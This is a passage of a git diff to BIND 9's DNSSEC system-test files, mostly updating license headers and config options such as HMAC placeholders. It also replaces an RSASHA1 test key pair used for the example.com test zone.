+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/split-smart.example.db.in b/bin/tests/system/dnssec/ns3/split-smart.example.db.in
index 8761ebb017..55b38776da 100644
--- a/bin/tests/system/dnssec/ns3/split-smart.example.db.in
+++ b/bin/tests/system/dnssec/ns3/split-smart.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/ttlpatch.example.db.in b/bin/tests/system/dnssec/ns3/ttlpatch.example.db.in
index 86552149e1..14971bd7a6 100644
--- a/bin/tests/system/dnssec/ns3/ttlpatch.example.db.in
+++ b/bin/tests/system/dnssec/ns3/ttlpatch.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/update-nsec3.example.db.in b/bin/tests/system/dnssec/ns3/update-nsec3.example.db.in
index 0e0e5e09e5..a7792fd3b8 100644
--- a/bin/tests/system/dnssec/ns3/update-nsec3.example.db.in
+++ b/bin/tests/system/dnssec/ns3/update-nsec3.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/upper.example.db.in b/bin/tests/system/dnssec/ns3/upper.example.db.in
index 703a306346..ec6603a91f 100644
--- a/bin/tests/system/dnssec/ns3/upper.example.db.in
+++ b/bin/tests/system/dnssec/ns3/upper.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns4/managed-keys.bind.in b/bin/tests/system/dnssec/ns4/managed-keys.bind.in
new file mode 100644
index 0000000000..570669df3c
--- /dev/null
+++ b/bin/tests/system/dnssec/ns4/managed-keys.bind.in
@@ -0,0 +1,21 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$ORIGIN .
+$TTL 0	; 0 seconds
+@			IN SOA	. . (
+				2          ; serial
+				0          ; refresh (0 seconds)
+				0          ; retry (0 seconds)
+				0          ; expire (0 seconds)
+				0          ; minimum (0 seconds)
+				)
+			KEYDATA	20221028094934 19700101000000 19700101000000 0 0 0 ; placeholder
diff --git a/bin/tests/system/dnssec/ns4/named1.conf.in b/bin/tests/system/dnssec/ns4/named1.conf.in
index 9559a00c01..280217e50b 100644
--- a/bin/tests/system/dnssec/ns4/named1.conf.in
+++ b/bin/tests/system/dnssec/ns4/named1.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -12,9 +14,9 @@
 // NS4
 
 options {
-	query-source address 10.53.0.4 dscp 1;
-	notify-source 10.53.0.4 dscp 2;
-	transfer-source 10.53.0.4 dscp 3;
+	query-source address 10.53.0.4;
+	notify-source 10.53.0.4;
+	transfer-source 10.53.0.4;
 	port @PORT@;
 	pid-file "named.pid";
 	listen-on { 10.53.0.4; };
@@ -39,7 +41,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/dnssec/ns4/named2.conf.in b/bin/tests/system/dnssec/ns4/named2.conf.in
index f1ec362032..b01979bb52 100644
--- a/bin/tests/system/dnssec/ns4/named2.conf.in
+++ b/bin/tests/system/dnssec/ns4/named2.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -12,10 +14,9 @@
 // NS4
 
 options {
-	query-source address 10.53.0.4 dscp 4;
-	notify-source 10.53.0.4 dscp 5;
-	transfer-source 10.53.0.4 dscp 6;
-	dscp 16;
+	query-source address 10.53.0.4;
+	notify-source 10.53.0.4;
+	transfer-source 10.53.0.4;
 	port @PORT@;
 	pid-file "named.pid";
 	listen-on { 10.53.0.4; };
@@ -28,7 +29,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/dnssec/ns4/named3.conf.in b/bin/tests/system/dnssec/ns4/named3.conf.in
index 097ed33de4..3a64e9d27a 100644
--- a/bin/tests/system/dnssec/ns4/named3.conf.in
+++ b/bin/tests/system/dnssec/ns4/named3.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -28,7 +30,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/dnssec/ns4/named4.conf.in b/bin/tests/system/dnssec/ns4/named4.conf.in
index 6e5b40a830..5d3bf3f0c7 100644
--- a/bin/tests/system/dnssec/ns4/named4.conf.in
+++ b/bin/tests/system/dnssec/ns4/named4.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -23,7 +25,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -32,7 +34,7 @@ controls {
 
 key auth {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 include "trusted.conf";
diff --git a/bin/tests/system/dnssec/ns4/named5.conf.in b/bin/tests/system/dnssec/ns4/named5.conf.in
index 7ab0eb6946..b9d0ba8025 100644
--- a/bin/tests/system/dnssec/ns4/named5.conf.in
+++ b/bin/tests/system/dnssec/ns4/named5.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -20,11 +22,12 @@ options {
 	listen-on { 10.53.0.4; };
 	listen-on-v6 { none; };
 	bindkeys-file "managed.conf";
+	dnssec-validation no;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -33,5 +36,5 @@ controls {
 
 key auth {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
diff --git a/bin/tests/system/dnssec/ns5/named1.conf.in b/bin/tests/system/dnssec/ns5/named1.conf.in
index 62d43b5ff7..ccb3de919c 100644
--- a/bin/tests/system/dnssec/ns5/named1.conf.in
+++ b/bin/tests/system/dnssec/ns5/named1.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -25,7 +27,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/dnssec/ns5/named2.conf.in b/bin/tests/system/dnssec/ns5/named2.conf.in
index de10865599..6d0474b9d5 100644
--- a/bin/tests/system/dnssec/ns5/named2.conf.in
+++ b/bin/tests/system/dnssec/ns5/named2.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -13,7 +15,7 @@
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -29,6 +31,7 @@ options {
 	listen-on { 10.53.0.5; 127.0.0.1; };
 	listen-on-v6 { none; };
 	recursion yes;
+	dnssec-validation yes;
 };
 
 view root {
diff --git a/bin/tests/system/dnssec/ns5/sign.sh b/bin/tests/system/dnssec/ns5/sign.sh
index a4e910acfc..df0b208d2f 100644
--- a/bin/tests/system/dnssec/ns5/sign.sh
+++ b/bin/tests/system/dnssec/ns5/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/dnssec/ns6/named.args b/bin/tests/system/dnssec/ns6/named.args
index 65b7dbcc93..4b96405caa 100644
--- a/bin/tests/system/dnssec/ns6/named.args
+++ b/bin/tests/system/dnssec/ns6/named.args
@@ -1 +1 @@
--m record,size,mctx -c named.conf -d 99 -D dnssec-ns6 -X named.lock -g -T maxcachesize=2097152 -T nonearest -T tat=1
+-m record -c named.conf -d 99 -D dnssec-ns6 -X named.lock -g -T maxcachesize=2097152 -T nonearest -T tat=1
diff --git a/bin/tests/system/dnssec/ns6/named.conf.in b/bin/tests/system/dnssec/ns6/named.conf.in
index fa74b6043b..4bdc79c5f7 100644
--- a/bin/tests/system/dnssec/ns6/named.conf.in
+++ b/bin/tests/system/dnssec/ns6/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns6/optout-tld.db.in b/bin/tests/system/dnssec/ns6/optout-tld.db.in
index b90c9eaef9..b2aa3934d8 100644
--- a/bin/tests/system/dnssec/ns6/optout-tld.db.in
+++ b/bin/tests/system/dnssec/ns6/optout-tld.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns6/sign.sh b/bin/tests/system/dnssec/ns6/sign.sh
index 4eb2fa5b71..6102e52917 100644
--- a/bin/tests/system/dnssec/ns6/sign.sh
+++ b/bin/tests/system/dnssec/ns6/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -24,4 +26,4 @@ keyname=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone
 
 cat "$infile" "$keyname.key" > "$zonefile"
 
-"$SIGNER" -P -3 - -A -o "$zone" "$zonefile" > /dev/null 2>&1
+"$SIGNER" -z -3 - -A -o "$zone" "$zonefile" > /dev/null 2>&1
diff --git a/bin/tests/system/dnssec/ns7/named.conf.in b/bin/tests/system/dnssec/ns7/named.conf.in
index 70d71f6eff..55cbec9ee9 100644
--- a/bin/tests/system/dnssec/ns7/named.conf.in
+++ b/bin/tests/system/dnssec/ns7/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns7/named.nosoa b/bin/tests/system/dnssec/ns7/named.nosoa
index b8aab6c39b..caefbbba46 100644
--- a/bin/tests/system/dnssec/ns7/named.nosoa
+++ b/bin/tests/system/dnssec/ns7/named.nosoa
@@ -1,5 +1,12 @@
 Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
 
 Add -T nosoa.
diff --git a/bin/tests/system/dnssec/ns7/nosoa.secure.example.db b/bin/tests/system/dnssec/ns7/nosoa.secure.example.db
index e8949475c7..d3c98783ea 100644
--- a/bin/tests/system/dnssec/ns7/nosoa.secure.example.db
+++ b/bin/tests/system/dnssec/ns7/nosoa.secure.example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns7/sign.sh b/bin/tests/system/dnssec/ns7/sign.sh
index 296434413d..551b2173fc 100644
--- a/bin/tests/system/dnssec/ns7/sign.sh
+++ b/bin/tests/system/dnssec/ns7/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/dnssec/ns7/split-rrsig.db.in b/bin/tests/system/dnssec/ns7/split-rrsig.db.in
index 14300c3b08..48c2f878c2 100644
--- a/bin/tests/system/dnssec/ns7/split-rrsig.db.in
+++ b/bin/tests/system/dnssec/ns7/split-rrsig.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns8/named.conf.in b/bin/tests/system/dnssec/ns8/named.conf.in
index 4cf0753e96..d0278caeb9 100644
--- a/bin/tests/system/dnssec/ns8/named.conf.in
+++ b/bin/tests/system/dnssec/ns8/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -28,7 +30,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/dnssec/ns9/named.conf.in b/bin/tests/system/dnssec/ns9/named.conf.in
index 1933c76700..06530a08c1 100644
--- a/bin/tests/system/dnssec/ns9/named.conf.in
+++ b/bin/tests/system/dnssec/ns9/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -27,7 +29,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/dnssec/ntadiff.pl b/bin/tests/system/dnssec/ntadiff.pl
index 041e7bcafc..ca80eac9b8 100755
--- a/bin/tests/system/dnssec/ntadiff.pl
+++ b/bin/tests/system/dnssec/ntadiff.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl -w
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/dnssec/setup.sh b/bin/tests/system/dnssec/setup.sh
index 35b9b29ac4..6aa0cd0a0f 100644
--- a/bin/tests/system/dnssec/setup.sh
+++ b/bin/tests/system/dnssec/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/dnssec/signer/example.db.in b/bin/tests/system/dnssec/signer/example.db.in
index dbf60c1d59..3ab6aa2fc5 100644
--- a/bin/tests/system/dnssec/signer/example.db.in
+++ b/bin/tests/system/dnssec/signer/example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/signer/general/Kexample.com.+005+07065.key b/bin/tests/system/dnssec/signer/general/Kexample.com.+005+07065.key
deleted file mode 100644
index e4bdce2c17..0000000000
--- a/bin/tests/system/dnssec/signer/general/Kexample.com.+005+07065.key
+++ /dev/null
@@ -1 +0,0 @@
-example.com. IN DNSKEY 256 3 5 AwEAAaF0z17DdkBAKiYScVNqzsqXw7Vz/Cx5OCw7T/6RnU/KiGv815kl H2obywRZX2ZcEg9R8SUzQiP9ygY0s1xF5IFYi32HsWftNV7V/gNwNrMn GC0gV2e3OawsQ2CYWZZVwObr/fmcKIXuY6eRdJtyOilMRhlvroJdXZw1 CQdicxpZ
diff --git a/bin/tests/system/dnssec/signer/general/Kexample.com.+005+07065.private b/bin/tests/system/dnssec/signer/general/Kexample.com.+005+07065.private
deleted file mode 100644
index db928c5b4b..0000000000
--- a/bin/tests/system/dnssec/signer/general/Kexample.com.+005+07065.private
+++ /dev/null
@@ -1,10 +0,0 @@
-Private-key-format: v1.2
-Algorithm: 5 (RSASHA1)
-Modulus: oXTPXsN2QEAqJhJxU2rOypfDtXP8LHk4LDtP/pGdT8qIa/zXmSUfahvLBFlfZlwSD1HxJTNCI/3KBjSzXEXkgViLfYexZ+01XtX+A3A2sycYLSBXZ7c5rCxDYJhZllXA5uv9+Zwohe5jp5F0m3I6KUxGGW+ugl1dnDUJB2JzGlk=
-PublicExponent: AQAB
-PrivateExponent: QrbJmRabHiFlSSYFvbo8iGn9bFTotlfAZkZ732y72+SMSlLHo3g7atThJoLncJxKuhnZ0s1DXyvW9omAM3iN2lxfVDW58at1amj/lWRDYkjI0fM8z6eyrF4U2lHKDM2YEstg+sGAAs5DUZBbli4Y7+zHjhxSKLYvRf4AJvX8aoE=
-Prime1: 0259CgdF0JW+miedRZXC6tn3FijZJ4/j5edzd8IpTpdUSZupQg9hMP1ot7crreNq7MnzO0Z2ImbowUx8CDOuXQ==
-Prime2: w31/WLM2275Z1tsHEOhrntUQCUk55B4PNOCmM4hjp0vAvA/SVSgAYRNb7rc/ujaLf0DnxnDsnVsFAS2PmvQELQ==
-Exponent1: yKPhJNMh/X8dEUzmglJMVnHheLXq3RA/RL0PZmZqrJoO8os1Y+sUYFkaNr0sRie6IFrE50tGb/8YgdcDHQVuQQ==
-Exponent2: lVhDuGy5RSjnk1eiz0zwIthctutlOZupPFk/P3E7yGv74vAnXH0BxSe3/Oer3MOc0GuyZYyRhyko6px28AbpRQ==
-Coefficient: Hjup1nDnPFkQrxU2qLQBJrDz+ipw0RkNhsjWs6IgAq1Mq4sFV50bR9hOTLDd9oNhhtAwVjF+Oc0WIq+M1Mi6Ow==
diff --git a/bin/tests/system/dnssec/signer/general/Kexample.com.+005+19857.key b/bin/tests/system/dnssec/signer/general/Kexample.com.+005+19857.key
new file mode 100644
index 0000000000..104face02c
--- /dev/null
+++ b/bin/tests/system/dnssec/signer/general/Kexample.com.+005+19857.key
@@ -0,0 +1,5 @@
+; This is a zone-signing key, keyid 19857, for example.com.
+; Created: 20220902075244 (Fri Sep  2 17:52:44 2022)
+; Publish: 20220902075244 (Fri Sep  2 17:52:44 2022)
+; Activate: 20220902075244 (Fri Sep  2 17:52:44 2022)
+example.com. IN DNSKEY 256 3 5 AwEAAaUr14RTAa2dr/JPoMv5QM32IbLMNUZFPAM9M2Zm6Ef9S3/UsRk9 W+P08Dx5Xte/PMuZK8ejWUyou37LowmVbahkP2kcS7Z552btsLnGK2+5 me5Y/GgnodhMVN7phkEQNPRKSUQQyLdQC6Ltzt0JVp48q4PmgCta22et rgq1YEoj2E8Po53bn5eQXCUsnkBFhkql9/17Ls2ckWNBkHWiItMDaWk7 qkM4ZJu7C/jq3ybBjn0bi4Svlt7PNiuuo3h5WaJYJHXd2M7PIN14rUDE cas/b+iy4eF7VC3CRUgt1spFinW/G4wSro55e6phstc3I1BE6B+pC4pq eGlAfQqWWcs=
diff --git a/bin/tests/system/dnssec/signer/general/Kexample.com.+005+19857.private b/bin/tests/system/dnssec/signer/general/Kexample.com.+005+19857.private
new file mode 100644
index 0000000000..91171b032b
--- /dev/null
+++ b/bin/tests/system/dnssec/signer/general/Kexample.com.+005+19857.private
@@ -0,0 +1,13 @@
+Private-key-format: v1.3
+Algorithm: 5 (RSASHA1)
+Modulus: pSvXhFMBrZ2v8k+gy/lAzfYhssw1RkU8Az0zZmboR/1Lf9SxGT1b4/TwPHle1788y5krx6NZTKi7fsujCZVtqGQ/aRxLtnnnZu2wucYrb7mZ7lj8aCeh2ExU3umGQRA09EpJRBDIt1ALou3O3QlWnjyrg+aAK1rbZ62uCrVgSiPYTw+jndufl5BcJSyeQEWGSqX3/XsuzZyRY0GQdaIi0wNpaTuqQzhkm7sL+OrfJsGOfRuLhK+W3s82K66jeHlZolgkdd3Yzs8g3XitQMRxqz9v6LLh4XtULcJFSC3WykWKdb8bjBKujnl7qmGy1zcjUEToH6kLimp4aUB9CpZZyw==
+PublicExponent: AQAB
